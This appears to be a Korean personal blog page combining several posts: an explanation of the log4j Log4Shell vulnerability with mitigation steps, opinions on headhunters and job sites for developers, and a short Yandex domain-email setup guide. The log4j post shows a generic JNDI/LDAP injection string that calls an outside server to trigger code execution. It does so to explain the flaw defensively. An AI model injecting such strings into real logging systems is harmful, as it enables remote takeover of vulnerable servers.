log4j – 0 day vulnerability

logging for java – 이미 유행 좀 지났지만… 생각났던거 다시 정리
0 day vulnerability 는 개발자보다 공격자가 먼 알아낸 문제점으로
0일부터 현재까지 모든 날짜가 위험했다는 의미

참고

  • https://nakedsecurity.sophos.com/2021/12/10/log4shell-java-vulnerability-how-to-safeguard-your-servers/
  • https://blog.alyac.co.kr/4341
  • https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
  • https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08

해결법

며칠동안 난리났던 log4j 0-day vulnerability
– org.apache.logging.log4j:log4j-core:2.15.0 이하 버전에서 문제 발생
2.16으로 업글하거나
옵션값 수정 formatMsgNoLookup=true
log4j 다른 로거로 전환

log4j 다른 로거로 전환

log4j는 자바에서 제일 많이 쓰이던 로깅 라이브러리 였다?
아직도 쓰는건 대부분 레거시 시스템 아니었을까
몇 가지 의존성을 추가하면 logback등 다른 로거로 쉽게 전환이 가능게 되서
대부분 시스템은 전환이 완료되었을거다

요즘엔 로거를 별도로 구현하거나 선언하는 경우는 잘 없고
표준 로깅 인터페이스링 slf4j를 통해서 사용한다
구현체를 쉽게 교체할 수 있도록

스프의 경우 기본적으로 아래의 의존성을 가지고 있는데

implementation 'ch.qos.logback:logback-classic' // logback 기본
implementation 'org.slf4j:jul-to-slf4j' // jul 로거를 slf4j로 연결
implementation 'org.slf4j:log4j-over-slf4j' // log4j 로거를 slf4j로 연결

취약점 설명

이 취약점은 마인크래프트서버에서 처음 발견됐다고 한다
마인크래프트 채팅창에 특정 문자열을 입력하면
log4j에서 로깅하는 과정에
log.info(“user chatting {}”, chatting_message);
같은게 입력되면 jndi lookup 동작..
sql injection과 유사한 공격인데 꼭 막혀있어야 하는 부분인데 뚫려있었던게 문제

${jndi:ldap://서버접속주소}

이렇게 메시지를 보내면 코드를 실행시켜버린다.
애플리케이션이 root로 실행되고 있었다면 root도 획득 가능

프로그래머 헤드헌터 통한 이직

헤드헌터 사용 케이스

일반적으로 비추지만
도움되는 경우는 본인이 한두회사에서 특정분야 도메인에 전문성이 있고 연봉을 시장가치에 비해 매우 적게 받는 경우
ex1) 결제/쇼핑몰 개발만 6년 했는데 연봉이 3~4천대다? 이정도면 연봉 많이 올려서 이직가능

아래같은 경우는 도움이 안된다. 알아서 하시길..
ex2) 본인이 결제/블록체인/쇼핑몰/SNS 등등 다 하고 개발을 매우 잘해서 연봉이 5년차 연봉이7천이다? 이건…알아서…

헤드헌터 제공서비스 이상과 현실

구직자 입장

  • 이력서 첨삭 -> 다 아는소리밖에 못함
  • 연봉협상 조언 -> 연봉 조금받는 경우에는 도움됨
  • 채용기업 정보 제공 -> 인터넷에 나와있는 정도

채용기업 입장

  • 회사에서 필요한 인재 발굴 – 이력서상으로는 대강 맞음
  • 경쟁사 직원 인력풀 조사 및 스카웃 – 불가능
  • 재야의 실력자 발굴 – 채용사이트에서 공개 해 놓은 사람 목록 클릭 중
  • 면접에 대한 조언 – 기술적 조언 불가능.. .기업 인사팀 경력도 잘 없음
  • 인재 관리 스킬 전수 – 그런건 책 보세요

헤드헌터의 보수

각 단계에 따라 돈 받아가는걸로 알고있다

  • 의뢰시 – 일정금액 또는 무료
  • 입사시 – 일정금액 또는 무료
  • 입사 3개월후 정직원 전환시 – 급여의 5~20% 사이

연봉5천짜리 이직에 성공하면
20% – 1000만원.
하는일에 비해 공인중개사는 당연하고 변호사보다 수당이 쎈 것 같다

헤드헌터의 서비스 상세 분석

HR 관련

괜찮은 헤드헌터들 대기업 HR팀에 있다 나오는 경우가 많다.
이게 일반적인 신입채용에는 도움이 될지 모르나 프로그래머 시장에서는 쓸모가 없다.
왜냐하면…. 다른분야에서 높은 성과를 내는 사람과 프로그래머는 특성이 너무 다르다.

각 기업에서 면접을 보기 전에
* 사전필터도 해 주고
* 인재 발굴도 해 줘야 하는데

애초에 도태 프로그래머나 인사팀 문돌이일텐데 이걸 해 줄 수가 없다.

게다가 요새는 기업이나 헤드헌터나 사람인, 원티드에서 구직자 검색하고 있는건 마찬가지라서 인재풀에 차이가 없다.

그냥 내부 인력이 채용에 관여 할 시간이 없어서 구직사이트관리, SNS, github 등 뒤져서 스카웃 쪽지 보내기 등등을 대신해줄 사람이 필요한 경우에 도움이 될 것 같다.

이력서 첨삭

전문성이 없다보니 일반적인 부분에서만 도움을 줄 수 있고 바꾸라고 하는대로 바꿨는데 기업에서 반응이 더 안 좋은 경우도 많다.

보통 기업에서는 경력사항을 아래와 같이 정리만 잘 해도 OK다.

  • 프로젝트 이름
  • 프로젝트 기간
  • 프로젝트 간략소개
  • 프로젝트에서 담당한 역할
  • 주요 기술스텍 목록
  • 내세울만한점이 있다면(개발시 신경썼던점, 기존 문제상황을 수정했던 부분 등)

한장짜리로 따로 멋지게 정리하라느니 뭐 그런소리도 많은데 채용하면서 이력서 검토도 몇번 한 입장으로써 왜 그래야 하는지 모르겠다. 면접에서 떨어져서 그렇지 주요회사 서류통과는 몇번 된걸보면 상관없는 게 맞다.
어차피 채용사이트 이력서 윗쪽에 요약정보는 들어간다.

혼자서 진짜 못 하겠는 경우

페이스북 개발자 모임같은데서 취업스터디 모집하는게 낫다
인맥도 생기고 운좋으면 도움의 손길이 있을수도??

헤드헌터는 여러분 한명한명에게 큰 공을 들이지 않고 별 관심도 없다
그리고 여러분이 뭘 했는지 제대로 이해하지 못하고 뭐가 중요한지 모른다
개발자 스터디에서 자기가 한 프로젝트에 대해 자세히 설명을 해 주고
함께 요약을 해 보면 훨씬 도움이 될 듯?

헤드헌터가 도움이 되는 경우??

간혹 비밀스럽게 채용이 이뤄지는 경우 공개적으로 이력서를 받지 않는 회사도 있긴 있다고 한다. 외국회사나 신규산업진출 등등의 경우…
이런 케이스에는 인맥 타고 들어가야지 헤드헌터 타고 들어가면 대접도 못 받는다.

그리고 보통은 대형 채용사이트와 회사 홈페이지에 함께 올린다.
회사 입장에서도 헤드헌터 통하는 것 보다 직접 지원하는걸 더 좋아한다.
이게 연봉협상에도 유리하다.(헤드헌터 수수료)

구직자 입장에서 채용사이트 비교

  • 사람인 : 괜찮은 좆소 많음 무난
  • 원티드 : 꽤 트렌디한 채용 서비스.. 사이트는 구린데 왠지 이미지가 좋다
  • 잡코리아 : 개인적으로 비선호라 잘 모름다
  • 로켓펀치 : 스타트업 채용이라고 하지만 아예 개좆밥인 경우가 많다
  • 프로그래머스 : 괜찮은 좆소 많음 무난… 탑프로그래머스는 별 도움안됨
    코딩테스트는 쓸만함
  • 인쿠르트 : 개발자는 잘 없지 않나
  • Okky : 구인구직 페이지.. 프리랜서 채용이 많다

~

남이 나보다 내 이력서/자소서를 더 잘 써주지 못한다.

다 직접 해야된다

무료 기업용?도메인 이메일 주소 서비스yandex

미제의 패악질을 참지 못한 불곰 형님들이 무료 도메인 서비스를 개시했다. 서비스 개 후진 양아치 네이버나 착하지만 서비스는 더 꾸진 다음하고 비교대상이 아니다.
그럭저럭 쓸만한 메일플러그와 같은 국내 서비스도 있긴한데..

회사 운영하는 것도 아니고 개인용으로 쓸만한 적당한 계정을 찾다보니 yandex라는 러시아 포탈서비스를 찾았다.

여윾시 글로벌 시대랄까…

10년후엔 아프리카 서비스를 쓰게 될지도 모르겠다.
아프리카 서비스는 유럽 제국주의자들 덕분에 편하게 쓰겠군..

사용법은… 그냥 매우 쉽다.

yandex.com 에서 가입하고
https://connect.yandex.com/pdd/
여기서 도메인 추가 해 주면 된다.

  1. TXT 관리에다가 뭐 좀 써주고
  2. MS정보랑 SRV. CNAME 써주면 완료